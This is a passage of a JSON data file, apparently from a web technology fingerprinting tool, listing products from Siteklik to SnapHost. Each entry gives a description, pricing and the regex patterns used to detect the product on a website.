\"https://www.siteimprove.com\"\n  },\n  \"Siteklik\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Siteklik is a sitebuilder designed for small businesses and self-employed individuals.\",\n    \"icon\": \"Siteklik.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//webstats\\\\.siteklik\\\\.nl/\"\n    ],\n    \"website\": \"https://siteklik.nl/\"\n  },\n  \"Sitepark IES\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:sitepark:information_enterprise_server:*:*:*:*:*:*:*:*\",\n    \"description\": \"Sitepark IES is a content management system written in PHP and paired with a MySQL database.\",\n    \"icon\": \"Sitepark.png\",\n    \"implies\": [\n      \"MySQL\",\n      \"Lucene\"\n    ],\n    \"meta\": {\n      \"generator\": \"^Sitepark\\\\sInformation\\\\sEnterprise\\\\sServer\\\\s-\\\\sIES\\\\sGenerator\\\\sv([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"website\": \"https://www.sitepark.com/oeffentlicher-sektor/produkte/cms-technologie.php\"\n  },\n  \"Sitepark InfoSite\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Sitepark InfoSite is a content management system and complete application of Sitepark IES which written in PHP and paired with a MySQL database.\",\n    \"icon\": \"Sitepark.png\",\n    \"implies\": [\n      \"Sitepark IES\"\n    ],\n    \"meta\": {\n      \"generator\": \"^InfoSite\\\\s([\\\\d\\\\.]+)\\\\s-\\\\sSitepark\\\\sInformation\\\\sEnterprise\\\\sServer$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"website\": \"https://www.sitepark.com/mittelstand/content-management-system/index.php\"\n  },\n  \"Siter\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Siter is a responsive, no-code site builder that uses a drag-and-drop interface for creating websites without the need for programming skills.\",\n    \"icon\": \"Siter.svg\",\n    \"js\": {\n      \"readySiterPage\": \"\",\n      \"renderSiterPage\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://siter.io\"\n  },\n  \"Sitevision CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"SiteVisionLTM\": \"\"\n    },\n    \"description\": \"Sitevision CMS is a platform for web publishing that consists of flexible and pre-made modules. Available as self-hosed software and Cloud SaaS.\",\n    \"icon\": \"Sitevision CMS.svg\",\n    \"pricing\": [\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"sitevision/system-resource/(?:[\\\\w\\\\d]+)/js/docready-min\\\\.js\\\\;confidence:25\",\n      \"sitevision/system-resource/(?:[\\\\w\\\\d]+)/js/AppRegistry\\\\.js\\\\;confidence:25\",\n      \"sitevision/system-resource/(?:[\\\\w\\\\d]+)/webapps/webapp_sdk-min\\\\.js\\\\;confidence:50\",\n      \"sitevision/system-resource/(?:[\\\\w\\\\d]+)/envision/envision\\\\.js\\\\;confidence:50\"\n    ],\n    \"website\": \"https://www.sitevision.se\"\n  },\n  \"Sivuviidakko\": {\n    \"cats\": [\n      1\n    ],\n    \"icon\": \"Sivuviidakko.png\",\n    \"meta\": {\n      \"generator\": \"Sivuviidakko\"\n    },\n    \"website\": \"https://sivuviidakko.fi\"\n  },\n  \"SixCMS\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"SixCMS is a content management system (CMS) used for creating and managing websites and digital content.\",\n    \"dom\": [\n      \"img[src*='/sixcms/']\"\n    ],\n    \"icon\": \"SixCMS.svg\",\n    \"website\": \"https://www.six.de/produktwelt/content-management/\"\n  },\n  \"Sizebay\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Sizebay is a virtual fitting room that helps ecommerce and even brick-and-mortar stores provide their shoppers with a personalised shopping.\",\n    \"icon\": \"Sizebay.svg\",\n    \"js\": {\n      \"Sizebay\": \"\",\n      \"SizebayParams\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://sizebay.com\"\n  },\n  \"Sizekick\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Sizekick is a platform that uses artificial intelligence and precise body measurements to minimize size-related returns and increase conversion rates for online retailers.\",\n    \"icon\": \"Sizekick.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"widget\\\\.sizekick\\\\.io/\"\n    ],\n    \"website\": \"https://www.sizekick.io\"\n  },\n  \"Sizmek\": {\n    \"cats\": [\n      36\n    ],\n    \"html\": [\n      \"(?:<a [^>]*href=\\\"[^/]*//[^/]*serving-sys\\\\.com/|<img [^>]*src=\\\"[^/]*//[^/]*serving-sys\\\\.com/)\"\n    ],\n    \"icon\": \"Sizmek.png\",\n    \"scriptSrc\": [\n      \"serving-sys\\\\.com/\"\n    ],\n    \"website\": \"https://sizmek.com\"\n  },\n  \"Skai\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Skai (formerly Kenshoo) is a marketing activation solution for brands and agencies.\",\n    \"icon\": \"Skai.svg\",\n    \"js\": {\n      \"Ktag_Constants\": \"\"\n    },\n    \"scripts\": [\n      \"\\\\.xg4ken\\\\.com\"\n    ],\n    \"website\": \"https://skai.io\"\n  },\n  \"Skedify\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"Skedify is an appointment booking solution created for enterprises.\",\n    \"icon\": \"Skedify.svg\",\n    \"js\": {\n      \"Skedify.Plugin.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"plugin\\\\.skedify\\\\.io\"\n    ],\n    \"website\": \"https://calendly.com/\"\n  },\n  \"Skilldo\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Skilldo is a content management system written in PHP and paired with a MySQL or MariaDB database.\",\n    \"headers\": {\n      \"cms-name\": \"^Skilldo$\",\n      \"cms-version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\\\\;confidence:0\"\n    },\n    \"icon\": \"Skilldo.png\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\"\n    ],\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"website\": \"https://developers.sikido.vn/docs/cms/\"\n  },\n  \"Skilljar\": {\n    \"cats\": [\n      21\n    ],\n    \"description\": \"Skilljar is a B2B customer training platform and learning management system.\",\n    \"icon\": \"skilljar.svg\",\n    \"js\": {\n      \"SKILLJAR_DASHBOARD_GLOBALS\": \"\",\n      \"skilljarCatalogPage\": \"\",\n      \"skilljarThemeVersionMajor\": \"\",\n      \"skilljarTranslate\": \"\"\n    },\n    \"pricing\": [\n      \"poa\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.skilljar.com/\"\n  },\n  \"Skimlinks\": {\n    \"cats\": [\n      71\n    ],\n    \"description\": \"Skimlinks is a content monetization platform for online publishers.\",\n    \"icon\": \"Skimlinks.svg\",\n    \"js\": {\n      \"__SKIM_JS_GLOBAL__\": \"\",\n      \"addSkimlinks\": \"\",\n      \"skimlinksAPI\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"scriptSrc\": [\n      \"\\\\.skimresources\\\\.com\"\n    ],\n    \"website\": \"https://skimlinks.com\",\n    \"xhr\": [\n      \"\\\\.skimresources\\\\.com\"\n    ]\n  },\n  \"Skio\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Skio helps brands on Shopify sell subscriptions without ripping their hair out.\",\n    \"icon\": \"Skio.png\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.skio\\\\.com/\"\n    ],\n    \"website\": \"https://skio.com\"\n  },\n  \"Skolengo\": {\n    \"cats\": [\n      1,\n      21\n    ],\n    \"description\": \"Skolengo is an Education Management Software developed by Kosmos Education.\",\n    \"icon\": \"Skolengo.svg\",\n    \"implies\": [\n      \"Java\",\n      \"MariaDB\",\n      \"Apache Tomcat\"\n    ],\n    \"meta\": {\n      \"generator\": \"Skolengo\",\n      \"version\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\\\\;confidence:0\"\n    },\n    \"oss\": false,\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.skolengo.com\"\n  },\n  \"Skrollr\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Skrollr is a JavaScript library supporting parallax scrolling on mobile and desktop platforms in a compact 12k minified size.\",\n    \"js\": {\n      \"skrollr.VERSION\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://prinzhorn.github.io/skrollr/\"\n  },\n  \"Sky-Shop\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Sky-Shop.pl is a platform for dropshipping an online sales on Allegro, eBay and Amazon.\",\n    \"dom\": [\n      \".skyshop-container\"\n    ],\n    \"icon\": \"Sky-Shop.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"Bootstrap\",\n      \"jQuery\"\n    ],\n    \"js\": {\n      \"L.CONTINUE_SHOPPING\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"Sky-Shop\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://sky-shop.pl\"\n  },\n  \"SkyGlue\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"SkyGlue is a tool that automatically tracks every user action on a website, providing insights into user behavior, their needs, and the reasons for drop-off.\",\n    \"icon\": \"SkyGlue.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"dc\\\\.skyglue\\\\.com/\"\n    ],\n    \"website\": \"https://www.skyglue.com\"\n  },\n  \"SkyVerge\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"SkyVerge  is a company which develop extension tools for WooCommerce stores.\",\n    \"icon\": \"SkyVerge.svg\",\n    \"implies\": [\n      \"WooCommerce\"\n    ],\n    \"js\": {\n      \"sv_wc_payment_gateway_payment_form_param\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"sv-wc-payment-gateway-payment-form\\\\.js(?:\\\\?ver=([\\\\d.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.skyverge.com\"\n  },\n  \"Skyflow\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"Skyflow is a company that provides a secure data privacy platform and API.\",\n    \"icon\": \"Skyflow.svg\",\n    \"js\": {\n      \"Skyflow.ElementType.CARD_NUMBER\": \"\",\n      \"Skyflow.ValidationRuleType\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.skyflow.com\"\n  },\n  \"Slate\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Slate is a CRM system designed specifically for higher education institutions, which helps them to manage student interactions, track admissions, and analyze student data in a flexible and user-friendly way.\",\n    \"dom\": [\n      \"link[href*='slate-technolutions-net.cdn.technolutions.net/']\"\n    ],\n    \"icon\": \"Slate.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"slate-technolutions-net\\\\.cdn\\\\.technolutions\\\\.net/\"\n    ],\n    \"website\": \"https://technolutions.com\"\n  },\n  \"Sleeknote\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Sleeknote is a cloud-based software that helps online businesses reach conversion goals through website popups.\",\n    \"icon\": \"Sleeknote.svg\",\n    \"js\": {\n      \"SleekNote.SleekNotes\": \"\",\n      \"sleeknoteMarketingConsent\": \"\",\n      \"sleeknoteScriptTag\": \"\",\n      \"sleeknoteSiteData\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://sleeknote.com\"\n  },\n  \"Sleekplan\": {\n    \"cats\": [\n      13\n    ],\n    \"description\": \"Sleekplan is a customer feedback and product management platform that enables businesses to collect, analyse, and act upon user feedback, prioritise feature requests, track bugs, and collaborate on product development.\",\n    \"icon\": \"Sleekplan.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Vue.js\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.sleekplan\\\\.com/\"\n    ],\n    \"website\": \"https://sleekplan.com\"\n  },\n  \"Slice\": {\n    \"cats\": [\n      93\n    ],\n    \"description\": \"Slice is an online food ordering platform for independent pizzerias.\",\n    \"dom\": [\n      \"a[href*='slicelife.com/restaurants/']\"\n    ],\n    \"icon\": \"Slice.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://slicelife.com/owners\"\n  },\n  \"Slick\": {\n    \"cats\": [\n      59\n    ],\n    \"html\": [\n      \"<link [^>]+(?:/([\\\\d.]+)/)?slick-theme\\\\.css\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"Slick.svg\",\n    \"implies\": [\n      \"jQuery\"\n    ],\n    \"scriptSrc\": [\n      \"(?:/([\\\\d.]+))?/slick(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://kenwheeler.github.io/slick\"\n  },\n  \"SlickStack\": {\n    \"cats\": [\n      47,\n      9\n    ],\n    \"description\": \"SlickStack is a free LEMP stack automation script written in Bash designed to enhance and simplify WordPress provisioning, performance, and security.\",\n    \"headers\": {\n      \"x-powered-by\": \"SlickStack\"\n    },\n    \"icon\": \"SlickStack.svg\",\n    \"implies\": [\n      \"WordPress\"\n    ],\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://slickstack.io\"\n  },\n  \"SlickText\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"SlickText is a cloud-based SMS marketing solution for business of all sizes.\",\n    \"icon\": \"SlickText.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.slicktext\\\\.com/\"\n    ],\n    \"website\": \"https://www.slicktext.com\"\n  },\n  \"Slidebean\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Slidebean is an all-in-one pitch deck software designed to streamline the creation, design, and presentation of business pitches.\",\n    \"dom\": [\n      \"iframe[src*='.slidebean.com/']\"\n    ],\n    \"icon\": \"Slidebean.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://slidebean.com\"\n  },\n  \"Slider Captcha\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"Slider Captcha is a free service that helps protect websites from spam and abuse.\",\n    \"icon\": \"default.svg\",\n    \"implies\": [\n      \"jQuery\"\n    ],\n    \"js\": {\n      \"sliderCaptcha\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://github.com/ArgoZhang/SliderCaptcha\"\n  },\n  \"Slider Revolution\": {\n    \"cats\": [\n      5,\n      7\n    ],\n    \"description\": \"Slider Revolution is a flexible and highly customisable slider.\",\n    \"icon\": \"Slider Revolution.svg\",\n    \"js\": {\n      \"RS_MODULES.main.version\": \"^Slider Revolution\\\\s([\\\\d\\\\.]+)$\\\\;version:\\\\1\",\n      \"revapi1\": \"\",\n      \"revapi2\": \"\",\n      \"revapi3\": \"\",\n      \"revapi4\": \"\",\n      \"revapi5\": \"\",\n      \"revslider_showDoubleJqueryError\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"Powered\\\\sby\\\\sSlider Revolution\\\\s([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/wp-content/plugins/revslider/\",\n      \"jquery\\\\.themepunch\\\\.revolution\\\\.min\\\\.js\"\n    ],\n    \"website\": \"https://www.sliderrevolution.com\"\n  },\n  \"Slim Select\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Slim Select is a JavaScript library designed to enable the creation of select dropdowns with enhanced functionality and features.\",\n    \"dom\": [\n      \"div.ss-values, div.ss-deselect.ss-hide\"\n    ],\n    \"icon\": \"SlimSelect.png\",\n    \"website\": \"https://slimselectjs.com\"\n  },\n  \"Slimbox\": {\n    \"cats\": [\n      59\n    ],\n    \"html\": [\n      \"<link [^>]*href=\\\"[^/]*slimbox(?:-rtl)?\\\\.css\"\n    ],\n    \"icon\": \"Slimbox.png\",\n    \"implies\": [\n      \"MooTools\"\n    ],\n    \"scriptSrc\": [\n      \"slimbox\\\\.js\"\n    ],\n    \"website\": \"https://www.digitalia.be/software/slimbox\"\n  },\n  \"Slimbox 2\": {\n    \"cats\": [\n      59\n    ],\n    \"html\": [\n      \"<link [^>]*href=\\\"[^/]*slimbox2(?:-rtl)?\\\\.css\"\n    ],\n    \"icon\": \"Slimbox.png\",\n    \"implies\": [\n      \"jQuery\"\n    ],\n    \"scriptSrc\": [\n      \"slimbox2\\\\.js\"\n    ],\n    \"website\": \"https://www.digitalia.be/software/slimbox2\"\n  },\n  \"Slotti\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"Slotti is a cloud-based appointment booking and checkout system tailored for service companies.\",\n    \"icon\": \"Slotti.svg\",\n    \"js\": {\n      \"Slotti\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://slotti.fi\"\n  },\n  \"Smart Ad Server\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Smart Ad Server is an adserving and RTB platform.\",\n    \"dom\": [\n      \"img[src*='smartadserver.com/'], link[href*='.smartadserver.com']\"\n    ],\n    \"icon\": \"Smart Ad Server.svg\",\n    \"js\": {\n      \"SmartAdServer\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.sascdn\\\\.com/\"\n    ],\n    \"website\": \"https://smartadserver.com\"\n  },\n  \"Smart Slider 3\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Smart Slider 3 is a responsive, SEO optimised WordPress plugin.\",\n    \"icon\": \"Smart Slider 3.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/smart-slider-3(?:-pro)?/\"\n    ],\n    \"website\": \"https://smartslider3.com\"\n  },\n  \"SmartDX\": {\n    \"cats\": [\n      97\n    ],\n    \"description\": \"SmartDX is a nimble alternative to cookies that revolutionizes the tracking and identification of individual audience members, maps cross-device journeys, delivers contextual omnichannel interactions, and attributes conversions at the segment-of-one level.\",\n    \"icon\": \"SmartDX.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"sdk\\\\.smartdx\\\\.co/\"\n    ],\n    \"website\": \"https://smartdx.co\"\n  },\n  \"SmartRecruiters\": {\n    \"cats\": [\n      101\n    ],\n    \"description\": \"SmartRecruiters is a web-based talent acquisition platform.\",\n    \"dom\": [\n      \"a[href*='careers.smartrecruiters.com/']\"\n    ],\n    \"icon\": \"SmartRecruiters.svg\",\n    \"pricing\": [\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.smartrecruiters\\\\.com/\"\n    ],\n    \"website\": \"https://www.smartrecruiters.com\"\n  },\n  \"SmartSite\": {\n    \"cats\": [\n      1\n    ],\n    \"html\": [\n      \"<[^>]+/smartsite\\\\.(?:dws|shtml)\\\\?id=\"\n    ],\n    \"icon\": \"SmartSite.png\",\n    \"meta\": {\n      \"author\": \"Redacteur SmartInstant\"\n    },\n    \"website\": \"https://www.seneca.nl/pub/Smartsite/Smartsite-Smartsite-iXperion\"\n  },\n  \"SmartWeb\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"SmartWeb is an ecommerce platform from Denmark.\",\n    \"icon\": \"SmartWeb.png\",\n    \"meta\": {\n      \"generator\": \"^SmartWeb$\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.smartweb.dk\"\n  },\n  \"Smarter Click\": {\n    \"cats\": [\n      77\n    ],\n    \"description\": \"Smarter Click is a marketing technology company.\",\n    \"icon\": \"Smarter Click.png\",\n    \"js\": {\n      \"$smcInstall\": \"\",\n      \"$smcT5\": \"\",\n      \"$smctData\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.?smct\\\\.(?:io|co)/\"\n    ],\n    \"website\": \"https://smarterclick.com\"\n  },\n  \"Smartling\": {\n    \"cats\": [\n      89\n    ],\n    \"description\": \"Smartling is a cloud-based translation management system.\",\n    \"icon\": \"Smartling.svg\",\n    \"js\": {\n      \"populateSmartlingDdl\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.smartling\\\\.com/\"\n    ],\n    \"website\": \"https://www.smartling.com\"\n  },\n  \"Smartlook\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Smartlook is a qualitative analytics solution for websites and mobile apps.\",\n    \"icon\": \"Smartlook.svg\",\n    \"js\": {\n      \"smartlook\": \"\\\\;confidence:50\",\n      \"smartlook_key\": \"\\\\;confidence:50\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.smartlook\\\\.com/\"\n    ],\n    \"website\": \"https://www.smartlook.com\"\n  },\n  \"Smartocto\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Smartocto is a smart content analytics system.\",\n    \"icon\": \"Smartocto.svg\",\n    \"pricing\": [\n      \"high\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.smartocto\\\\.com/\"\n    ],\n    \"website\": \"https://smartocto.com\"\n  },\n  \"Smartstore\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"SMARTSTORE.CUSTOMER\": \"\",\n      \"SMARTSTORE.VISITOR\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:smartstore:smartstore:*:*:*:*:*:*:*:*\",\n    \"description\": \"Smartstore is an open-source ecommerce system with CMS capabilities.\",\n    \"html\": [\n      \"<!--Powered by Smart[sS]tore\",\n      \"<meta property=\\\"sm:pagedata\\\"\"\n    ],\n    \"icon\": \"Smartstore.svg\",\n    \"implies\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"meta\": {\n      \"generator\": \"^Smart[sS]tore(.NET)? (.+)$\\\\;version:\\\\2\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.smartstore.com\"\n  },\n  \"Smartstore Page Builder\": {\n    \"cats\": [\n      1\n    ],\n    \"css\": [\n      \"\\\\.g-stage \\\\.g-stage-root\"\n    ],\n    \"html\": [\n      \"<section[^>]+class=\\\"g-stage\"\n    ],\n    \"icon\": \"Smartstore.svg\",\n    \"implies\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"website\": \"https://www.smartstore.com\"\n  },\n  \"Smartstore biz\": {\n    \"cats\": [\n      6\n    ],\n    \"icon\": \"Smartstore.biz.png\",\n    \"scriptSrc\": [\n      \"smjslib\\\\.js\"\n    ],\n    \"website\": \"https://smartstore.com\"\n  },\n  \"Smartsupp\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Smartsupp is a live chat tool that offers visitor recording feature.\",\n    \"icon\": \"Smartsupp.svg\",\n    \"js\": {\n      \"$smartsupp.options.widgetVersion\": \"([\\\\d.]+)\\\\;version:\\\\1\",\n      \"smartsupp\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.smartsuppchat\\\\.com\"\n    ],\n    \"website\": \"https://www.smartsupp.com\"\n  },\n  \"Smash Balloon Instagram Feed\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Instagram Feed displays Instagram posts from your Instagram accounts, either in the same single feed or in multiple different ones. Created by Smash Balloon.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/instagram-feed/']\"\n    ],\n    \"icon\": \"Smash Balloon.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/instagram-feed/\"\n    ],\n    \"website\": \"https://smashballoon.com/instagram-feed\"\n  },\n  \"Smile\": {\n    \"cats\": [\n      84\n    ],\n    \"description\": \"Smile is a provider of ecommerce loyalty programs.\",\n    \"icon\": \"Smile.svg\",\n    \"js\": {\n      \"Smile.channel_key\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.(?:smile|sweettooth)\\\\.io/\"\n    ],\n    \"website\": \"https://smile.io\"\n  },\n  \"Smile App\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Smile App offers a loyalty program for Shopify stores.\",\n    \"icon\": \"Smile.svg\",\n    \"implies\": [\n      \"Smile\"\n    ],\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"js\\\\.smile\\\\.io/.+smile-shopify\\\\.js\"\n    ],\n    \"website\": \"https://apps.shopify.com/smile-io\"\n  },\n  \"SmtpJS\": {\n    \"cats\": [\n      75\n    ],\n    \"description\": \"SmtpJS is a free library you can use for sending emails from JavaScript.\",\n    \"icon\": \"default.svg\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/smtpjs\\\\.com/(?:v([\\\\d\\\\.]+)/)?smtp\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://smtpjs.com\"\n  },\n  \"SmugMug\": {\n    \"cats\": [\n      7\n    ],\n    \"description\": \"SmugMug is a paid image sharing, image hosting service, and online video platform on which users can upload photos and videos.\",\n    \"dom\": {\n      \".sm-page-footer-copyright\": {\n        \"text\": \"SmugMug\"\n      }\n    },\n    \"headers\": {\n      \"Smug-CDN\": \"\"\n    },\n    \"icon\": \"SmugMug.svg\",\n    \"js\": {\n      \"_smugsp\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"low\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.smugmug.com\"\n  },\n  \"Snabbt\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Minimalistic animation library in javascript Snabbt.js.\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"(?:((?:\\\\d+\\\\.)+\\\\d+)\\\\/)?snabbt(?:[\\\\.-]min)?\\\\.js\\\\;version:\\\\1\",\n      \"snabbt(?:[\\\\.-]min)?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://daniel-lundin.github.io/snabbt.js/\"\n  },\n  \"Snap\": {\n    \"cats\": [\n      18,\n      22\n    ],\n    \"headers\": {\n      \"Server\": \"Snap/([.\\\\d]+)\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Snap.png\",\n    \"implies\": [\n      \"Haskell\"\n    ],\n    \"website\": \"https://snapframework.com\"\n  },\n  \"Snap Pixel\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Snap Pixel is a piece of JavaScript code that helps advertisers measure the cross-device impact of campaigns.\",\n    \"icon\": \"Snap Pixel.svg\",\n    \"js\": {\n      \"__SnapPixel\": \"\",\n      \"snaptr.pixelIdList\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"intg\\\\.snapchat\\\\.com/\"\n    ],\n    \"website\": \"https://businesshelp.snapchat.com/s/article/snap-pixel-about\"\n  },\n  \"Snap.svg\": {\n    \"cats\": [\n      59\n    ],\n    \"icon\": \"Snap.svg.svg\",\n    \"js\": {\n      \"Snap.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"snap\\\\.svg(?:-min)?\\\\.js\"\n    ],\n    \"website\": \"https://snapsvg.io\"\n  },\n  \"SnapEngage\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"SnapEngage is a live chat solution that caters to businesses across various industries.\",\n    \"html\": [\n      \"<!-- begin SnapEngage\"\n    ],\n    \"icon\": \"SnapEngage.svg\",\n    \"js\": {\n      \"SnapEngage\": \"\",\n      \"SnapEngageChat\": \"\",\n      \"snapengage_mobile\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://snapengage.com/\"\n  },\n  \"SnapHost\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"SnapHost is a solution offering anti-spam CAPTCHA web form protection.\",\n    \"dom\": [\n      \"form[action*='.SnapHost.com/']\"\n    ],\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n  